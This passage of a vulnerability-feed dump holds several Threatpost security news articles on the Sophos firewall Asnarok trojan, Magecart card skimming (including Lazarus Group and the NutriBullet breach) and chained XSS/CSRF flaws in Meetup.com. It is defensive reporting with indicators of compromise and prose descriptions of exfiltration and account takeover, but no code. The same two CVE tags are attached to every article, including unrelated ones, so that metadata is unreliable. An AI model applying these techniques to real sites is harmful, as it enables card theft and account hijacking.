enlarge.\n\n\u201cThe b program, when run, deletes itself from the filesystem of the device, so it is only present in memory,\u201d Sophos explained. \u201cThen, it repeats a series of tasks every three to six hours.\u201d\n\nThe first of these tasks is to connect to the IP address 43.229.55.44. If that fails, it tries the malicious domain sophosproductupdate[.]com. If successful, then downloads another Linux ELF executable called Sophos.dat.\n\nThe second of the dropped shell scripts is written to the /tmp directory with a filename of .pg.sh. It goes on to download a second, different ELF executable, called bk on the webserver and written to the filesystem with the name .post_MI.\n\nThe initial Install.sh script also runs a number of Postgres SQL commands to modify or zero out the values of certain tables in the database, Sophos noted. One of these commands modifies a specific service value entry so that .post_MI executes whenever that service executed.\n\n\u201cThe Install.sh script\u2026modified at least one shell script that is part of the firewall\u2019s operating system to add a set of commands to the end of the script,\u201d according to the writeup. \u201cThis last script, in particular, is relevant because the malware modified services to ensure it ran every time the firewall booted up; it served as a roundabout persistence mechanism for the malware.\u201d\n\n## **Asnarok Trojan: Stealing XG Firewall Data**\n\nThe file called Sophos.dat, saved to the filesystem as 2own, is actually the ultimate payload in the kill chain \u2013 the Asnarok trojan, first detailed in the Sophos analysis this weekend.\n\n\u201cThis malware\u2019s primary task appeared to be data theft, which it could perform by retrieving the contents of various database tables stored in the firewall, as well as by running some operating system commands,\u201d according to Sophos research.\n\nAsnarok first retrieves the public-facing IP address where the firewall was installed, using public search engines like \u201cifconfig.me\u201d and \u201ccheckip.dyndns.org.\u201d Next, it retrieves information about the firewall and its users from different storage areas on the firewall.\n\nSophos said that this data includes: The firewall\u2019s license and serial number; a list of the email addresses of user accounts that were stored on the device; the primary email belonging to the firewall\u2019s administrator account; firewall users\u2019 names, usernames, encrypted passwords and the salted SHA256 hash of the administrator account\u2019s password; a list of the user IDs permitted to use the firewall for SSL VPN; and a list of accounts permitted to use a \u201cclientless\u201d VPN connection.\n\nThe malware also gathered data on the appliance itself: The version of the operating system; the type of CPU and amount of memory present on the device; how long it has been operational since the last reboot (the \u2018uptime\u2019); and the output of the \u201cifconfig\u201d and \u201cARP\u201d tables, Sophos said.\n\nThe data is collected into a temporary file on the firewall with the name Info.xg, compressed, encrypted with OpenSSL and then earmarked for upload to the IP address 38.27.99.69. In a final step, Asnarok deletes the files that it temporarily created while it collected the information.\n\nThe firm said that it hasn\u2019t seen evidence that the collected data was successfully exfiltrated from victimized systems. Threatpost has reached out for more information on the number of targeted systems and any other information about the scope of the attack.\n\nUsers that don\u2019t have automatic updates enabled on their firewalls [can enable them](<https://community.sophos.com/kb/en-us/135415>) in order to receive the hotfix. Sophos meanwhile said that it has blocked the domains and IP addresses associated with the campaign.\n\n**_Inbox security is your best defense against today\u2019s fastest growing security threat \u2013 phishing and Business Email Compromise attacks. [On May 13 at 2 p.m. ET](<https://register.gotowebinar.com/register/5064791868226032141?source=ART>), join Valimail security experts and Threatpost for a FREE webinar, [5 Proven Strategies to Prevent Email Compromise](<https://register.gotowebinar.com/register/5064791868226032141?source=ART>). Get exclusive insights and advanced takeaways on how to lockdown your inbox to fend off the latest phishing and BEC assaults. Please [register here ](<https://register.gotowebinar.com/register/5064791868226032141?source=ART>)for this sponsored webinar._**\n", "cvss3": {}, "published": "2020-04-27T16:16:14", "type": "threatpost", "title": "Hackers Mount Zero-Day Attacks on Sophos Firewalls", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-04-27T16:16:14", "id": "THREATPOST:66B6758B39EA6566B84928992AF3085C", "href": "https://threatpost.com/hackers-zero-day-attacks-sophos-firewalls/155169/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:29:12", "description": "When we think of \u201csecuring our website\u201d from attackers, we often think of securing against hooded figures somewhere in Eastern Europe working out of a smoky office above an illegal gambling den. Not only is that probably geographically insensitive, it\u2019s also not necessarily the best way threat to get your attention for the risk column in your next CISO briefing.\n\nWell, you might ask, \u201cwhat _should_ I be focusing on?\u201d The answer: There\u2019s a growing number of issues related to third- and fourth-party scripts running on your company website, so this is a good place to start.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/11/14093430/akamai-waterfall-300x143.jpg)](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/11/14093430/akamai-waterfall.jpg>)\n\nWaterfall chart example \u2014 click to enlarge.\n\nConsider a classic webpage waterfall chart: This is a chart that shows you what elements of your web page are loading, and how long each of those elements is taking to load. This can help you with answering some page-optimization questions like, which of these elements can be reordered or possibly combined; or which of these particular artifacts are mandatory and which ones can be removed. \nThis is the area of interest that most security teams are not looking into. And I\u2019m not talking about page-load times \u2014 I\u2019m talking about all of those \u201celements\u201d that are loading each time a user visits your website.\n\nWhat could we expect to see there besides visible webpage elements? Well, we might see some JavaScript placed there for advertising tech purposes, marketing automation or possibly user personalization reasons. Let\u2019s not forget the trusty analytics packages that pretty much everyone in the world has loading on their pages. Not only are these resources there to help your webpages perform better, give you information you need about your visitors and provide other sorts of optimization for your site, they\u2019re also a majorly underappreciated source of malicious potential for an attacker.\n\nLet\u2019s look at what happens when these resources and their perceived trust are abused by attackers. In 2013, a group known as the [Syrian Electronic Army](<https://threatpost.com/syrian-electronic-army-hacks-cnn-social-media-microsoft-transparency-data/103869/>) (SEA) compromised a marketing and recommendation partner for three of the major news outlets in the United States. Because the scripts [![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/11/14094033/Akamai-SEA-300x263.jpg)](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/11/14094033/Akamai-SEA.jpg>)that were sent to these three news outlets were \u201ctrusted\u201d as part of their marketing agreement, they were promptly loaded into every page load for every user that came to visit the sites that day. And when any user clicked on a recommended news article, they were automatically taken to the website for the SEA.\n\nThe above \u201chack\u201d seems like a cool way to get people to come to your website, but what else could be pulled off using similar techniques \u2014 perhaps something more malicious? And is this still a possibility today?\n\nYes, and yes! Last year, a similarly exploited vulnerability wreaked havoc on several online retailers by a collective of at least six attacker groups who have come to be [known as Magecart](<https://threatpost.com/magecart-groups-attack-simultaneous-sites-in-card-theft-frenzy/149872/>). Uncovered by researchers at RiskIQ and Flashpoint, these groups were able to take more than just the joy out of the holiday season by using [formjacking](<https://www.experian.com/blogs/ask-experian/what-is-formjacking/>) and X-Frame options to perform [clickjacking](<https://www.owasp.org/index.php/Clickjacking>) through malicious injected JavaScript code into third-party web elements.\n\nThe attackers, using what are still not totally known methods, were able to inject malicious JavaScript into the online retailers\u2019 shopping cart applications, allowing them to perform card-skimming operations, which in some cases led to the full data breach of associated customer records. [British Airways](<https://threatpost.com/british-airways-e-ticketing-flaw-exposes-passenger-flight-personal-data/147260/>) in the UK, for instance, lost over 300,000 customer records as part of its Magecart breach.\n\n[![Code-injection example.](https://media.threatpost.com/wp-content/uploads/sites/103/2019/11/14094856/Akamai-code-injection-1024x164.jpg)](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/11/14094856/Akamai-code-injection.jpg>)\n\nThere have been some solid recommendations made on how to combat this problem, such as using security response headers. These can be used to communicate security policy settings for any web browser that is interacting with your website.\n\nUnfortunately, most organizations aren\u2019t making significant use of these headers, as they either believe that web application firewall security protections can thwart these types of attacks (which they cannot, because the client side is what\u2019s running the malicious JavaScript). Maybe it\u2019s too cumbersome to consider, since the list of headers isn\u2019t static, and continually changes over time \u2013 so organizations are unwilling to manage that process. Another possibility is simple ignorance with regard to the depth of the issue.\n\nThere are also a few sites that can scan your organizations website for free and give you a simple scorecard to get you started on your journey to correcting the script problem. A few of them are:\n\n * <https://securityheaders.com/>\n * <https://observatory.mozilla.org/>\n * <https://www.hardenize.com/>\n\nSince this problem is not the full responsibility of a website owner themselves, but instead stems from the relationship to potentially exploited partner JavaScript code, this should be considered a supply-chain attack. But how does one ensure that all third- and fourth-party code is secure before you allow it to run against your clients?\n\nAn emerging possibility is your own injection of client-side JavaScript into a users\u2019 browser \u2013 to be used for good.\n\nThis type of capability is categorized as Runtime Web Application Self-Protection (RWASP), and if implemented correctly, it can bridge the gap between the endless variability of partner-side code scanning. It gives the browser itself the ability to make runtime decisions about what it\u2019s actually seeing load during that full-page waterfall we looked at before, via a good JavaScript that can detect unwanted or malicious script functionality.\n\nAdditionally, the implementation of this new validation and monitoring check can be done in an ongoing manner.\n\nWe\u2019re approaching the biggest time of the year for e-commerce activity \u2013 and for malicious card-skimming attacks as a result. By implementing some of these ideas, you can help make sure that this holiday season, your company may only be in the headlines for the right reasons.\n\n**_Tony Lauro is director of security strategy at Akamai._**\n\n**_Enjoy additional insights from Threatpost\u2019s InfoSec Insider community by [visiting our microsite.](<https://threatpost.com/microsite/infosec-insiders-community/>)_**\n", "cvss3": {}, "published": "2019-11-14T15:18:49", "type": "threatpost", "title": "Website, Know Thyself: What Code Are You Serving?", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2019-11-14T15:18:49", "id": "THREATPOST:91752358A60874F9C9D448BB279A8192", "href": "https://threatpost.com/website-know-thyself-what-code-are-you-serving/150257/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:17:16", "description": "The Lazarus Group, state-sponsored hackers affiliated with North Korea, has added digital payment-card skimming to their repertoire, researchers said, using Magecart code.\n\nLazarus members are targeting online payments made by American and European shoppers. Among the victims is Claire\u2019s, the fashion accessory chain that was attacked in June, according to an analysis from Sansec issued on Monday.\n\nResearchers said that the infrastructure used in the attacks is the same that has been seen in previous Lazarus operations; and that \u201cdistinctive patterns in the malware code were identified that linked multiple hacks to the same actor.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe analysis found that Lazarus was likely planting Magecart payment skimmers on major online retailer sites as early as May 2019. [Magecart](<https://threatpost.com/macys-data-breach-linked-to-magecart/150393/>) is an umbrella term encompassing several different threat groups who typically use the same card-skimming scripts on checkout pages. Magento-based attacks are seen most often, but Magecart also attacks other e-commerce platforms, including Opencart, BigCommerce, Prestashop and Salesforce.\n\n\u201cIn order to intercept transactions, an attacker needs to modify the computer code that runs an online store,\u201d according to [the writeup](<https://sansec.io/research/north-korea-magecart>). \u201c[Lazarus Group, a.k.a. Hidden Cobra] managed to gain access to the store code of large retailers such as [international fashion chain Claire\u2019s](<https://threatpost.com/claires-customers-magecart-payment-card-skimmer/156552/>).\u201d\n\nThe researchers speculated that Lazarus is using spearphishing emails as its initial infection vector to compromise the sites \u2013 an effort ultimately aimed at obtaining the passwords of retail staff. The hackers then use that access to inject the skimming script, which captures information that shoppers enter into e-commerce check-out pages. The data is then sent to hacker-controlled servers via a global exfiltration network.\n\n\u201cThis network utilizes legitimate sites, that got hijacked and repurposed to serve as disguise for the criminal activity,\u201d explained the firm. \u201cThe network is also used to funnel the stolen assets so they can be sold on dark web markets. Sansec has identified a number of these exfiltration nodes, which include a modeling agency from Milan, a vintage music store from Tehran and a family-run book store from New Jersey.\u201d\n\nResearchers uncovered the ongoing campaign last summer, when the firm discovered a skimmer on a U.S. truck-parts store that used the compromised Italian modeling site to harvest payment data. During the following months, they discovered the same uniquely encoded malware on several dozen stores, all using the same hijacked sites as loaders and card collectors.\n\nResearchers identified multiple, independent links between recent skimming activity and previously documented North Korean hacking operations. These include shared infrastructure (including the domain registrar and DNS service, and common loader sites), as well as an odd code snippet, that Sansec has not observed anywhere else.\n\n\u201cThe injected script customize-gtag.min.js12 is scrambled with a popular Javascript obfuscator13. Hidden in the code, the string WTJ4cFpXNTBWRzlyWlc0OQ== is found, which is the double-base64 encoded representation of clientToken=,\u201d according to the analysis. \u201cThis particular keyword is later used as HTTP GET parameter to send the stolen payload to the collector exfiltration node. The specific encoding and the attempt to disguise the stolen payload as \u2018clientToken\u2019 form a uniquely identifying characteristic.\u201d\n\nThere are also common behavior patterns such as adding a hidden, dynamic image to the page with the deceptive name (__preloader). The image address is controlled by the attacker, and the intercepted and encoded payload is sent as argument to this image, along with several random numbers.\n\n\u201cDoes the usage of common loader sites, and the similarity in time frame, prove that the DPRK-attributed operations are run by the same actor as the skimming operations?\u201d the researchers said. \u201cTheoretically, it is possible that different nefarious actors had simultaneous control over the same set of hijacked sites, but in practice, this would be extremely unlikely. First, thousands of sites get hacked each day, making an overlap highly coincidental. Secondly, when a site gets hacked, it is common practice for a perpetrator to close the exploited vulnerability after gaining access, in order to shield the new asset from competitors.\u201d\n\nNorth Korean hacking activity is [aimed at both espionage](<https://threatpost.com/u-s-ties-lazarus-to-north-korea-and-major-hacking-conspiracy/137264/>) as well as making money for the regime; and Sansec pointed out that the move into digital skimming represents a significant expansion.\n\n\u201c[North Korea-backed attacks were] mostly restricted to banks and [South Korean crypto markets](<https://threatpost.com/lazarus-tactics-cryptocurrency-attacks/143249/>), covert cyber operations that earned hackers $2 billion, according to a 2019 United Nations report,\u201d concluded the report. \u201cAs Sansec\u2019s new research shows, they have now extended their portfolio with the profitable crime of digital skimming.\u201d\n\n**_BEC and enterprise email fraud is surging, but DMARC can help \u2013 if it\u2019s done right. On July 15 at 2 p.m. ET, join Valimail Global Technical Director Steve Whittle and Threatpost for a _**[**_FREE webinar_**](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>)**_, \u201cDMARC: 7 Common Business Email Mistakes.\u201d This technical \u201cbest practices\u201d session will cover constructing, configuring, and managing email authentication protocols to ensure your organization is protected. _**[**_Click here to register_**](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>)**_ for this Threatpost webinar, sponsored by Valimail._**\n", "cvss3": {}, "published": "2020-07-06T17:18:59", "type": "threatpost", "title": "Lazarus Group Adds Magecart to the Mix", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-07-06T17:18:59", "id": "THREATPOST:1ACF78FAC848A424ADE5DEE520B43051", "href": "https://threatpost.com/lazarus-group-adds-magecart/157167/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:15:55", "description": "Critical flaws in the [popular Meetup ](<https://threatpost.com/critical-meetup-website-flaws-takeover-payment-theft/157934/>)platform were revealed Monday as part of research unleashed at this week\u2019s [Black Hat USA 2020](<https://threatpost.com/black-hat-usa-def-con-28-go-virtual/155606/>). The flaws, which have been patched, enable the full takeover of Meetup \u201cGroups\u201d by threat actors, who can also redirects payments and carryout other malicious actions.\n\nErez Yalon, the director of security research with Checkmarx, discussed why these critical vulnerabilities are a \u201choly grail\u201d for attackers, and explained how the bugs are indicative of overall application security trends that will be discussed this week at Black Hat USA 2020. In the case of the Meetup flaws, the researcher identified two. One is a [cross site scripting flaw](<https://threatpost.com/wordpress-xss-drive-by-code-execution/148324/>) and the second a [cross site request forgery](<https://threatpost.com/ebay-vulnerable-to-account-hijacking-via-xsrf/103311/>) \u2013 both tied to the platform\u2019s application programming interface (API).\n\nBelow is an interview with Yalon conducted ahead of the research along with an accompanying transcript.\n\n[** Listen to the full interview below or at this link.**](<https://www.youtube.com/watch?v=M85zrOA59OE>)\n\n_Below find a lightly edited transcript of the interview._\n\n**Lindsey O\u2019Donnell Welch**: This is Lindsey O\u2019Donnell Welch with Threatpost and I am joined today by Erez Yalon, the director of security research with Checkmarx. And [we\u2019re talking during Black Hat USA 2020,](<https://threatpost.com/category/bh/>) where Checkmarx is announcing some new security research that they came out with. So Erez thank you so much for joining me today. It\u2019s nice to be talking to you even though this year, it\u2019s actually virtually instead of our in person interviews [that we\u2019ve done in the past.](<https://threatpost.com/black-hat-2019-news-wrap-best-worst/147223/>)\n\n**Erez Yalon**: Yeah, we usually do face to face but this is not allowed in the new normal. So this is how we do it now. But it\u2019s fine.\n\n**LO:** There\u2019s always Black Hat 2021. Now, during Black Hat 2020 Checkmarx\u2019s security research team has some new research that you are releasing, and that is specifically focused around Meetup.com. And for those who don\u2019t know, Meetup.com is a popular website that allows users to create an event for people, with similar interests to gather, so you know, book clubs or dog walking clubs, for instance. So Erez you found an array of kind of security issues in the investigations that you did \u2013 everything from API security issues to cross-site scripting and cross site request forgery flaws, can you kind of give us a rundown of the research and you know, what these different vulnerabilities were?\n\n**EY: **Sure. Okay, so basically looking at Meetup.com, we\u2019re not targeting specifically them. We\u2019re in general, looking at the websites that are high in demand and more interesting for everyone, for consumers and us as well. So Meetup was one in a long list. Now, it was part of our research about API security, which we invest a lot in these days. But actually the biggest issues we found were just good old application security issues.\n\nI think that they are probably among the top five famous vulnerabilities that can be found in appsec, application security. One of them is the [cross site scripting flaw](<https://threatpost.com/wordpress-xss-drive-by-code-execution/148324/>). And the other one is the [cross site request forgery](<https://threatpost.com/ebay-vulnerable-to-account-hijacking-via-xsrf/103311/>), also known as XSS and CSRF.\n\nWhen we started playing with Meetup, we found that one of their features or endpoints is not totally sanitizing \u2013 and by sanitizing I mean, removing bad inputs \u2013 not totally sanitizing the fields that are in the discussion field. Now, every Meetup group has a discussion board under the group. And it\u2019s, as far as I know, enabled by default. We didn\u2019t see any groups without it, I think it makes sense to allow discussions in the group.\n\nAnd the sanitization process there was not complete. And we managed to bypass it by adding some specific scripts and tags that bypassed the protection of the Meetup website. What it was is what we call stored XSS. Now, instead of a message or a discussion or a post on the page, we could have put some benign message actually in the background on a script. So this by itself is very bad already, because it means that in the context of a web browser, we can do whatever we want, now for every person who visits this discussion board, so it can be stealing information that is part of your web browsing process like cookies and sessions, and things like that. We can deface the website or even do some cryptomining on the web browser. So this, this actually lets us do many, many things. The interesting part was that we thought, okay, if it\u2019s a stored XSS, it means that that the organizers will probably fall into this hole as well as the XSS. So they might run some sort of script on their side, and we know that they have admin capabilities. So the next vulnerability we found was cross-site request forgery, CSRF, which means that essentially when the user is authenticated on the server, it means that if I have hold of the client side, which I do with XSS, I can run a lot of commands in the name of that user, and the user will not even be able to tell that the web browser actually sent these commands.\n\nSo just before I talk about specifically what we did here, I want to mention that the combination of XSS and CSRF is the holy grail for us, because when you manage to chain these two together, sometimes there are no limits to what can actually happen. So riding on the XSS will propel specific, malicious script that runs on the organizers\u2019 side, on the organizers\u2019 browser. And then by abusing the CSRF we\u2019ve caused the organizer to give permissions of a co-organizer to the attacker. So suddenly, we\u2019ve taken over the account completely and we have access to a lot of information \u2013 we can change the Meetup, we can cancel it, we can create a fake meetup, etc. So this actually was some sort of privilege escalation we created. And because we\u2019ll never be happy and we always want more. To top it all, we found a way also to, to play a bit with the payment details. So with Meetup you have a lot of options of collecting payments, sometimes it\u2019s just $1 or two for refreshments from each one and sometimes it\u2019s a paid session like $100 or $200. And we were able to \u2013 like we did with the privilege escalation I described we could actually redirect the payment to our own PayPal address. So our scene, when we imagined it, is an attacker changing all the payments of Meetup for like 24 hours, gathering all the all the money and running away. This is the scenario we imagined. And I think it was interesting \u2013 we did not try that \u2013 but as a as a theory, we could actually create a wall that would infect each user and each user would infect all the Meetup groups they are part of, etc., going on and on like that. This way we could have also reached private groups and groups that are not listed on Meetup. So all in all, it\u2019s kind of a critical issue, as you can understand.\n\n**LO:** For sure, I mean, that impact there of being able to redirect all payments to a PayPal account seems like it would definitely be a lucrative one for cyber criminals who are definitely motivated by money. So that could be a serious impact there. In terms of exploitability for these vulnerabilities. How serious are they? What would an attacker potentially need to, you know, carry out an actual attack here?\n\n**EY:** So the field that was not sanitized well, it was partially sanitized. So I believe that automatic hacking tools or testing tools that check for this would not find it, but we tend to be creative. So when we find something that seems not completely protected, we will find a crack together, so it was more of a manual thing than an automatic thing. But I think that every hacker that would have decided to do that would eventually probably find a way in. And as soon as you find the XSS, and then the next thing you do is to look for the CSRF, because as I said, they go together to reach the higher purpose of really doing some damage there.\n\n**LO:** Yeah. And what was the process of disclosure here? Because you guys reach out to meet up and I believe they have fixed everything. Is that correct?\n\n**EY:** Yeah, we never publish anything without getting confirmation from the vendor that they fixed everything. And the reason is that we don\u2019t want to put the users in any unnecessary risk obviously. So we reached out to Meetup. They fixed things, they talked to us, we helped them through the fix cycle. Trying to direct them to the right way to do that. And just recently, they got back to us and informed us that everything they meant to fix is fixed. And that\u2019s it. So now we\u2019re free to discuss that.\n\n**LO:** Great well, definitely some interesting research there. And now we have Black Hat this week, and what are some of kind of the top threats you expect to be discussed at the conference this year? And, I mean, they might be related to [COVID and the ongoing pandemic](<https://threatpost.com/working-from-home-covid-19s-constellation-of-security-challenges/153720/>) or [election security](<https://threatpost.com/election-security-threats-from-misinformation-to-voting-machine-flaws/147164/>). I mean, those are kind of the top ones I\u2019m expecting to see, but is there anything from your standpoint, having been observing what\u2019s been going on in the threat landscape over the past few months that you\u2019re really expecting to hear more about?\n\n**EY**: Yeah, so I think the trends would definitely dictate election security. And maybe also COVID, I\u2019m not sure it\u2019s been enough time to actually create some sort of presentation that will tell us a lot about that. I think it will be interesting to wait a bit into the future and see what happened. Although I\u2019m sure there are some people who can already discuss that. Another trend we can [probably expect to see is 5G](<https://threatpost.com/5g-and-iot-how-to-approach-the-security-implications/148681/>), all the talks around that, some of them targeting the actual technology, some of them the hype and the scared people around it. Regarding more technical aspects, I think that we saw a big trend of [moving towards API security](<https://threatpost.com/akamai-on-credential-stuffing-attacks/153654/>) in the past, we will probably see the bigger picture now. Everything that is what we call cloud-native, from containers to serverless to again, API security. And everything that is about this new architecture that is no longer a buzzword, it\u2019s actually what we see every day. And this is where modern architectural software is going. Obviously, it has a lot of pluses and a lot of things that makes everything simpler to us. But security sometimes as we know, drags behind. So this is a good time to close the gap and make sure that security is also moving forward in the same piece of architecture and our cutting edge technology.\n\n**LO:** And to your point about 5G I certainly think that\u2019ll be a big topic as well, just with everything, starting to be rolled out and a lot of hype there over the past year or so. And I also wanted to ask you, I mean, you know, you\u2019ve been up in charge of the AppSec village in previous Black Hats. What can we expect there for this year, especially with everything being virtual?\n\n**EY: **Yeah, so AppSec village is part of DEF CON not Black Hat. And we started it last year. It was the first year it was great success we had during DEF CON, which is directly after Black Hat, almost 5,000 visitors in our AppSec village, which is like a mini conference inside of a conference, which is talking mainly about application security, obviously. This year DEF CON moved to or what they call safe mode, which is simply going virtual and we pivoted towards that as well. We\u2019re not sure in the beginning because none of us had the experience of creating and virtual conference before. But we heard the community and everyone demanded to have another AppSec village this year. So we decided we were going to do that, together with my colleagues, friends and co leaders. We managed to get a group of volunteers and got a lot of support from DEF CON themselves. And it\u2019s going to be virtual everything is going to be through Discord with some recorded talk, some live talks, we\u2019re going to actually try to do workshops, virtually, it\u2019s going to be kind of challenging, but I think that people who are coming to DEF CON, are really anxious and really want to get their hands dirty, in a way. And we\u2019re going to have a nice competition of the Capture the Flag around the application security teams, and we\u2019re going to meet a lot of people it\u2019s going to be very, very interesting trying to make this new normal, somehow normal.\n\n**LO:** Right, yeah, well, I you know, I\u2019m excited to see how that plays out. And I\u2019m sure that the interest is definitely there and there will be a lot of cool things coming out of that, so, Erez, thank you so much for coming on to talk a little bit more about your new research and what to expect over the next week.\n\n**EY:** My pleasure.\n\n**LO:** Great, and to all of our listeners. Thanks for listening in. If you liked what you heard or had any thoughts or questions, please comment below the video and be sure to subscribe. Thank you.\n\n_**Complimentary Threatpost Webinar**__: Want to learn more about Confidential Computing and how it can supercharge your cloud security? This webinar \u201c**[Cloud Security Audit: A Confidential Computing Roundtable](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**\u201d brings top cloud-security experts from Microsoft and __Fortanix together to explore how **Confidential Computing** is a game changer for securing dynamic cloud data and preventing IP exposure. Join us **[Wednesday Aug. 12 at 2pm ET](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>) **for this** FREE **live webinar with Dr. David Thaler, software architect, Microsoft and Dr Richard Searle, security architect, Fortanix \u2013 both with the Confidential Computing Consortium. **[Register Now](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**._\n\nWrite a comment\n\n**Share this article:**\n\n * [Newsmaker Interviews](<https://threatpost.com/category/newsmaker-interviews/>)\n * [Videos](<https://threatpost.com/category/videos/>)\n", "cvss3": {}, "published": "2020-08-03T15:13:40", "type": "threatpost", "title": "Black Hat USA 2020: Critical Meetup.com Flaws Reveal Common AppSec Holes", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-08-03T15:13:40", "id": "THREATPOST:ED2B1571104341CFA35DF2C4172EB792", "href": "https://threatpost.com/black-hat-usa-2020-critical-meetup-com-flaws-reveal-common-appsec-holes/157950/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:22:50", "description": "A faction under the Magecart umbrella, Magecart Group 8, targeted the website of the blender manufacturer, NutriBullet, in an attempt to steal the payment-card data of its online customers.\n\nYonathan Klijnsma, threat researcher with RiskIQ, said [in a Wednesday post](<https://www.riskiq.com/blog/labs/magecart-nutribullet/>) that a JavaScript web skimmer code was first inserted on the website of the blender retailer (nutribullet.com) on Feb. 20, specifically targeting the website\u2019s checkout page, where customers input their payment information. As of Tuesday, NutriBullet said that they have removed the malicious code.\n\n\u201cNutriBullet takes cybersecurity and personal privacy extremely seriously and is dedicated to the protection of our customers,\u201d NutriBullet said in a statement to Threatpost. \u201cOur IT team immediately sprang into action [March 17] upon first learning from RiskIQ about a possible breach. The company\u2019s IT team promptly identified malicious code and removed it. We have launched forensic investigations to determine how the code was compromised and have updated our security policies and credentials to include Multi-Factor Authentication as a further precaution. Our team will work closely with outside cyber security specialists to prevent further incursions. We thank RiskIQ for bringing this issue to our attention.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nHackers inject web skimmers into targeted websites and designed to steal data entered into online payment forms on e-commerce websites. When a visitor goes to that website, these skimmers (such as the popular [Pipka](<https://threatpost.com/pipka-card-skimmer-removes-itself-after-infecting-ecommerce-sites/150341/>) or [Inter)](<https://www.fortinet.com/blog/threat-research/inter-skimmer-for-all.html>) will then scoop up personal details entered on the site.\n\n**The Skimmers**\n\nThe web skimmer that researchers first discovered on NutriBullet\u2019s site first uses a page check (via a simple regex, which is a sequence of characters to define a search pattern) to investigate whether the current browser page looks like a payment page. Once the variables are verified and the page correctly defined as a payment page, the code will call the skimming function. This skimming functionality will grab victims\u2019 payment information as they enter it into the payment field on the website, and then exfiltrate it to attacker controlled servers.\n\n[![magecart skimmer ](https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/17122712/magecart-skimmer-300x191.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/17122712/magecart-skimmer.png>)\n\nAfter multiple attempts to contact NutriBullet and receiving no response, RiskIQ decided to initiate the takedown of the attacker exfiltration domain with the help of Swiss security site AbuseCH, and the Shadowserver Foundation, a nonprofit security organization that focuses on malicious internet activity (NutriBullet, for their part, said they had not heard from researchers until March 17).\n\n\u201cGroup 8 operators were using this domain to receive stolen credit-card information, and its takedown prevented there being new victims,\u201d said researchers.\n\nDespite taking down the attacker exfiltration domain, researchers said that they observed the skimmer being removed on March 1, only to be replaced with a new skimmer (and a new exfiltration URL) on the website on March 5. Researchers said they believe that the attackers may have removed the skimmer and set up a new domain after the initial domain was blocked. Researchers again worked with AbuseCH and ShadowServer to take down the new domain; but then, they found another skimmer on the NutriBullet website yet again on March 10. This latest skimmer however had the same, now-defunct domain as the previous one.\n\n\u201cAt the time the attackers placed the skimmer in this new script, we had already taken down the domain they used for receiving data,\u201d said researchers. \u201cWe believe the attackers saw that traffic dropped and assumed NutriBullet had cleaned up its site. They then moved the skimmer elsewhere without realizing the domain was defunct.\u201d\n\n**Magecart Threat**\n\nResearchers said they are familiar with the specific skimmer code used in this incident, as it has been used at least since 2018 by Group 8 \u2013 the Magecart group responsible for previous attacks on bedding and pillow manufacturers [Amerisleep and MyPillow](<https://threatpost.com/magecart-mypillow-emerisleep-attack/143022/>), as well as Philippine broadcast company ABS-CBN. Group 8 is one of many factions under the [Magecart](<https://threatpost.com/podcast-breaking-down-the-magecart-threat-part-two/139534/>) umbrella, which has made headlines over the past year or so for high-profile breaches of companies like [VisionDirect](<https://threatpost.com/visiondirect-blindsided-by-magecart-in-data-breach/139223/>), [Ticketmaster](<https://threatpost.com/ticketmaster-breach-just-one-part-of-a-wide-ranging-campaign/133892/>) and more.\n\nThis group is unique in that it focuses on individual victims, rather than taking the \u201cshotgun approach\u201d of other Magecart groups that compromises many websites at once. This has proved to be a lucrative technique for the group: For instance, in 2019, Group 8 targeted an unnamed national diamond exchange, allowing them to hit all the exchange\u2019s localized websites at the same time, said researchers.\n\n\u201cHighly targeted, highly technical breaches may become a trend,\u201d said researchers. \u201cAs we saw in the attacks on NutriBullet and other victims, there are a variety of ways to attack the functionality of a website. Operatives with the right acumen and enough time will find them.\u201d\n\n**_Interested in security for the Internet of Things and how 5G will change things? Join our free Threatpost webinar, [\u201c5G, the Olympics and Next-Gen Security Challenges,\u201d](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>) as our panel discusses what use cases to expect in 2020 (the Olympics will be a first test), why 5G security risks are different, the role of AI in defense and how enterprises can manage their risk. [Register here](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>)._**\n", "cvss3": {}, "published": "2020-03-18T09:00:27", "type": "threatpost", "title": "Magecart Cyberattack Targets NutriBullet Website", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-03-18T09:00:27", "id": "THREATPOST:07CDA6601F0919DC6946C150BBBE8900", "href": "https://threatpost.com/magecart-cyberattack-targets-nutribullet-website/153855/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:21:57", "description": "Researchers have observed a new skimmer from the prolific Magecart Group that has been actively harvesting payment-card data from 19 different victim websites, mainly belonging to small- and medium-sized businesses (SMBs), for several months.\n\n[RiskIQ](<https://www.riskiq.com/>) researchers first 